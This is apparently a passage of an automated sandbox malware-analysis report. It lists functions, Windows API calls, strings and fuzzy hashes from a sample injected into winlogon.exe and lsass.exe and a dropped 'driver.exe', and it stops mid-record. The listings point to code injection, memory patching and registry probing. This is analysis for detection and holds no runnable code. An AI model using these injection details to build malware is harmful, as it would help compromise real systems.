Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: d79e25d1bddce505cbefe66c1f7dc3f1dcce17b3d3d0eb5f19f21b045c52fa15
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 4AE0B661A61B88D4DB068F62E8912D8B3A5AB68B64FC89122DE5C56355EE38D1E9C300

Function 000001E858981BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E858981C2D
HeapAlloc.KERNEL32 ref: 000001E858981C3B
GetProcessHeap.KERNEL32 ref: 000001E858981C77
HeapFree.KERNEL32 ref: 000001E858981C85

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: bae03b9de4d8a0968d4e15549a5e41e9ffeeedaf31b7d182c916321c4c0c0085
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 4E113D35721BC5C1EA55DB66E8042ADB7A1FB89FC0F184036DE4D57765DE38C4428700

Function 000001E858981268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E85898126E
HeapAlloc.KERNEL32 ref: 000001E85898127D
GetProcessHeap.KERNEL32 ref: 000001E858981297
HeapAlloc.KERNEL32 ref: 000001E8589812A8

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: bf3232b7a1a84d483810c562108e731f4be810f9750f62d4ac0e33b9570d4307
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: D6E03935721684C6EB158BA2D80838ABAE2EB89B46F0480258D0907361EF7D8499C750

Analysis Process: driver.exePID: 7064, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1950
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF7F4F21160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF7F4F21156), ref: 00007FF7F4F211A5
_amsg_exit.MSVCRT(?,?,?,00007FF7F4F21156), ref: 00007FF7F4F211CC
_initterm.MSVCRT ref: 00007FF7F4F2120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7F4F21156), ref: 00007FF7F4F2124E
malloc.MSVCRT ref: 00007FF7F4F2127E
strlen.MSVCRT ref: 00007FF7F4F212A4
malloc.MSVCRT ref: 00007FF7F4F212B0
memcpy.MSVCRT ref: 00007FF7F4F212C3
_cexit.MSVCRT(?,?,?,00007FF7F4F21156), ref: 00007FF7F4F2132D

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: fbf89af212a9236fbcd89e8a13abc7f817758a3af0e927eba919c5f762fd2f1d
Instruction ID: 0940f743ff760b1bb607b794f00ef9de5d21ddc33677be78854bdfd950cc2887
Opcode Fuzzy Hash: fbf89af212a9236fbcd89e8a13abc7f817758a3af0e927eba919c5f762fd2f1d
Instruction Fuzzy Hash: FE516231E1964A82F710BF27E980779A7E4BF447A0F885531C92D833E5DE3CB64183A4

Function 00007FF7F4F21394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtFreezeRegistry.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F4F21156), ref: 00007FF7F4F213F7

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID: FreezeRegistry
String ID:
API String ID: 2239323298-0
Opcode ID: 4b288eef67ca88178435c23d0b43268a82fd7f4891f0d5863e4ef906ca526c5f
Instruction ID: 2a6b2aafb3d05e6af68d6e8683afda983965c9b83f02ff5e346196232d7e71d7
Opcode Fuzzy Hash: 4b288eef67ca88178435c23d0b43268a82fd7f4891f0d5863e4ef906ca526c5f
Instruction Fuzzy Hash: 2EF0C971918B4183D715EF52F88042AB7A0FB98390B844939E9AC437A9DF3CE2508BA0

Non-executed Functions

Function 00007FF7F4F23350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7F4F233B2
memset.MSVCRT ref: 00007FF7F4F23445
wcscpy.MSVCRT ref: 00007FF7F4F2349D
wcscat.MSVCRT ref: 00007FF7F4F234A8
wcslen.MSVCRT ref: 00007FF7F4F234B9
memset.MSVCRT ref: 00007FF7F4F235D4
wcscpy.MSVCRT ref: 00007FF7F4F23635
wcscat.MSVCRT ref: 00007FF7F4F23640
wcslen.MSVCRT ref: 00007FF7F4F23654

Strings

@, xrefs: 00007FF7F4F234F1
, xrefs: 00007FF7F4F236DD
@, xrefs: 00007FF7F4F23698
0, xrefs: 00007FF7F4F234E6
0, xrefs: 00007FF7F4F2368D

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 5276bf0d763aecce4044b8a0aa334820b154247cc0e08a4853e2e0c6a2717ab4
Instruction ID: 3197eceb88783a1d9f0bc89fb03e6c87b0e2b06af446ca9b20914f4f4f4e45ce
Opcode Fuzzy Hash: 5276bf0d763aecce4044b8a0aa334820b154247cc0e08a4853e2e0c6a2717ab4
Instruction Fuzzy Hash: 7AB1B66191CAC286E321AF25F8853AAF7A0FF91758F840235D99C426D9DF7CE246C790

Function 00007FF7F4F22690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF7F4F22795
memset.MSVCRT ref: 00007FF7F4F22865
wcscpy.MSVCRT ref: 00007FF7F4F228CE
wcscat.MSVCRT ref: 00007FF7F4F228D9
wcslen.MSVCRT ref: 00007FF7F4F228E1
wcslen.MSVCRT ref: 00007FF7F4F228F6
wcslen.MSVCRT ref: 00007FF7F4F2296D
wcslen.MSVCRT ref: 00007FF7F4F229E8

Strings

`, xrefs: 00007FF7F4F22B91
X, xrefs: 00007FF7F4F22B79
0, xrefs: 00007FF7F4F2279A

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 71ee53b50f05b73d54b70a4291a2078ad9ed205f255109c0ff1271a7e8a73095
Instruction ID: f44214b8ddcc9b5ac3852f8293fffeceee7cfbc0b750423b73b3e48409dce34e
Opcode Fuzzy Hash: 71ee53b50f05b73d54b70a4291a2078ad9ed205f255109c0ff1271a7e8a73095
Instruction Fuzzy Hash: 4F029522918BC182E7209F15F8443AAB7A0FB85BA4F844735DAAC477E5DF7CE185C790

Function 00007FF7F4F21BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF7F4F2A53C,00007FF7F4F2A53C,?,?,00007FF7F4F20000,?,00007FF7F4F21991), ref: 00007FF7F4F21C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF7F4F2A53C,00007FF7F4F2A53C,?,?,00007FF7F4F20000,?,00007FF7F4F21991), ref: 00007FF7F4F21CC7
memcpy.MSVCRT ref: 00007FF7F4F21CE0
GetLastError.KERNEL32(?,?,?,?,00007FF7F4F2A53C,00007FF7F4F2A53C,?,?,00007FF7F4F20000,?,00007FF7F4F21991), ref: 00007FF7F4F21D23

Strings

Address %p has no image-section, xrefs: 00007FF7F4F21CF4
VirtualProtect failed with code 0x%x, xrefs: 00007FF7F4F21D29
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7F4F21D17

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: fd7043c141b48c2f8dc45758b9b17726dd54453a719bfaaaae8ec8bd39dc55e5
Instruction ID: e9cb6ede685aab8f89b168d04e934e1b4a980d6fc3f072786e7583b2f47d31d4
Opcode Fuzzy Hash: fd7043c141b48c2f8dc45758b9b17726dd54453a719bfaaaae8ec8bd39dc55e5
Instruction Fuzzy Hash: FE419365E0854683EB10AF47D5846B9A7E0EB44BE4FD84531CE2D833E1DE3CE646C3A4

Function 00007FF7F4F22104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7F4F22118
TlsGetValue.KERNEL32 ref: 00007FF7F4F2214F
GetLastError.KERNEL32 ref: 00007FF7F4F22154
LeaveCriticalSection.KERNEL32 ref: 00007FF7F4F22212
free.MSVCRT ref: 00007FF7F4F22234
DeleteCriticalSection.KERNEL32 ref: 00007FF7F4F2225D

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: 65354ea9b0585dd84d45ede92d01b7db4d3564fce7b8bb1dc7d04c74f54e03d1
Instruction ID: f1d275591d7f2a7b31807b4cfb00d899e5c4fcc15df66cb4f7705ed59837bbc8
Opcode Fuzzy Hash: 65354ea9b0585dd84d45ede92d01b7db4d3564fce7b8bb1dc7d04c74f54e03d1
Instruction Fuzzy Hash: D021F121E4950683F715BF06E98027492A0BF51BA4FC90930C93D976E8DF2DBA4283A0

Function 00007FF7F4F21E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF7F4F21E27

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: abd898725b95146b97cfffe4ef96ca9f904c57ff2a7b6e405ab081e945b0e9a1
Instruction ID: b190482f421f4aaec18e6122bc61f113ae1c4e6e825df93530988ca6efa07d0b
Opcode Fuzzy Hash: abd898725b95146b97cfffe4ef96ca9f904c57ff2a7b6e405ab081e945b0e9a1
Instruction Fuzzy Hash: D0217121E0950643FB757A17DAC037991C1AF847B4FAC8631DE3D872D4DE2CAA8182E8

Function 00007FF7F4F21880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F4F21247), ref: 00007FF7F4F219F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF7F4F21B7B
Unknown pseudo relocation protocol version %d., xrefs: 00007FF7F4F21B8B

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 13559aeb64fb2ffe53ced46686645c359b0be6a3e885cbb8d1261cf63dbf58fc
Instruction ID: b5792ebfb7cfdd9c14ff38ac9962e7a1277aceab65d1ba1bf067b3e9f27e124a
Opcode Fuzzy Hash: 13559aeb64fb2ffe53ced46686645c359b0be6a3e885cbb8d1261cf63dbf58fc
Instruction Fuzzy Hash: F1517321F04556D7EB10AF26D9807B5B7A1BB04BA4F884531D92C477E8CF3CE686C764

Function 00007FF7F4F21800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF7F4F2185A

Strings

Unknown error, xrefs: 00007FF7F4F21824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7F4F2184D

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: f07ade259d76a49c7355787ff54cd97fbf92663c2f6a4f79a8a4cc4fe43bc8c2
Instruction ID: aa942754d01d90b211afdf6a59a1d4fbc5bcf97fba87f33a1224a04b7ba292aa
Opcode Fuzzy Hash: f07ade259d76a49c7355787ff54cd97fbf92663c2f6a4f79a8a4cc4fe43bc8c2
Instruction Fuzzy Hash: 73F0C811E1898583E711BF26E9810BDE3A1EB493E0F949231DE5DA32D1DF1CE2418350

Function 00007FF7F4F2219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7F4F221B2
TlsGetValue.KERNEL32 ref: 00007FF7F4F221EB
GetLastError.KERNEL32 ref: 00007FF7F4F221F0
LeaveCriticalSection.KERNEL32 ref: 00007FF7F4F2226C

Memory Dump Source

Source File: 0000001A.00000002.2146694769.00007FF7F4F21000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7F4F20000, based on PE: true

Associated: 0000001A.00000002.2146674855.00007FF7F4F20000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146714734.00007FF7F4F29000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146737512.00007FF7F4F2B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2146948423.00007FF7F51DE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff7f4f20000_driver.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 85413003506242275302fc94dee06b8c4194a3e3bc5b6f75ffbb971594794f7c
Instruction ID: ca75ff9f811bda27e18eaa4e67340965efadba597e2f66f84bd636409870b8d5
Opcode Fuzzy Hash: 85413003506242275302fc94dee06b8c4194a3e3bc5b6f75ffbb971594794f7c
Instruction Fuzzy Hash: 8B011E25E0960683F715BF56ED8027492A0BF04FA0FC90431CE2D536D4DF2CBA9282A0

Analysis Process: lsass.exePID: 640, Parent PID: 6768COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	131
Total number of Limit Nodes:	10

Executed Functions

Function 00000140AE86253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000140AE862620
StrCpyW.SHLWAPI ref: 00000140AE862639

Strings

\\.\pipe\, xrefs: 00000140AE86262B

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 006047059f567fc424369bd4eaabb636d5541b44e56c09e15fbbbd16066aee87
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6E71173624078185EB26DF2BD8407EAA790F38D7A4F640126DF0D5BBA9DE34CE45C382

Function 00000140AE86202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000140AE8620C6

Part of subcall function 00000140AE862F04: GetProcessHeap.KERNEL32 ref: 00000140AE862F27
Part of subcall function 00000140AE862F04: HeapAlloc.KERNEL32 ref: 00000140AE862F3A
Part of subcall function 00000140AE862F04: StrCmpNIW.SHLWAPI ref: 00000140AE862FAF
Part of subcall function 00000140AE862F04: GetProcessHeap.KERNEL32 ref: 00000140AE863015
Part of subcall function 00000140AE862F04: HeapFree.KERNEL32 ref: 00000140AE863023

Strings

S, xrefs: 00000140AE8621E7
dialer, xrefs: 00000140AE8620BF

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 6995ce01178be5ec7128772deebd1550e485b351504c4b94060f668f1040f1af
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: 6E51BE32B5572486EB62CB2BA8406EDA3F5F7087A4F249451DF0D13BA5DB35DC91C382

Function 00000140AE861A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000140AE861A60
StrCmpNIW.SHLWAPI ref: 00000140AE861A7A
lstrlenW.KERNEL32 ref: 00000140AE861A89
StrCpyW.SHLWAPI ref: 00000140AE861A9E

Strings

\\?\, xrefs: 00000140AE861A6E

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: c3158435ef4687b1766e3257663a9035ab9b0d40d8f3ba1c44d0f0f8ec37f8a1
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 7DF03C3274474192EB618B22E9847996760F74CBE9FA44020DF4D47979DE3DCA8DCB41

Function 00000140AE86328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000140AE8632AE
PathFindFileNameW.SHLWAPI ref: 00000140AE8632BD

Part of subcall function 00000140AE863844: StrCmpNIW.SHLWAPI ref: 00000140AE86385C

Part of subcall function 00000140AE863790: GetModuleHandleW.KERNEL32 ref: 00000140AE86379E
Part of subcall function 00000140AE863790: GetCurrentProcess.KERNEL32 ref: 00000140AE8637CC
Part of subcall function 00000140AE863790: VirtualProtectEx.KERNEL32 ref: 00000140AE8637EE
Part of subcall function 00000140AE863790: GetCurrentProcess.KERNEL32 ref: 00000140AE863809
Part of subcall function 00000140AE863790: VirtualProtectEx.KERNEL32 ref: 00000140AE86382A

CreateThread.KERNEL32 ref: 00000140AE86330B

Part of subcall function 00000140AE861D14: GetCurrentThread.KERNEL32 ref: 00000140AE861D1F

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 3ba806e3e51b1b0dcb359024cf54f050519727a8cf8c5b8b8f5a43b5e8428739
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: BA115E30A9478082F7639B23B9153D922D4B79C765FB041249F4E875B1EF78C844C2C2

Function 00000140AE861ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000140AE861628: GetProcessHeap.KERNEL32 ref: 00000140AE861633
Part of subcall function 00000140AE861628: HeapAlloc.KERNEL32 ref: 00000140AE861642
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616B2
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616DF
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8616F9
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861719
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861734
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861754
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE86176F
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE86178F
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8617AA
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8617CA

Sleep.KERNEL32 ref: 00000140AE861AD7
SleepEx.KERNELBASE ref: 00000140AE861ADD

Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8617E5
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861805
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861820
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861840
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE86185B
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE86187B
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861896
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8618A0

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 326f40d2db6ff263f8e0a940b391fb73a78b65f37836ebd93bce5d4d1fbe3847
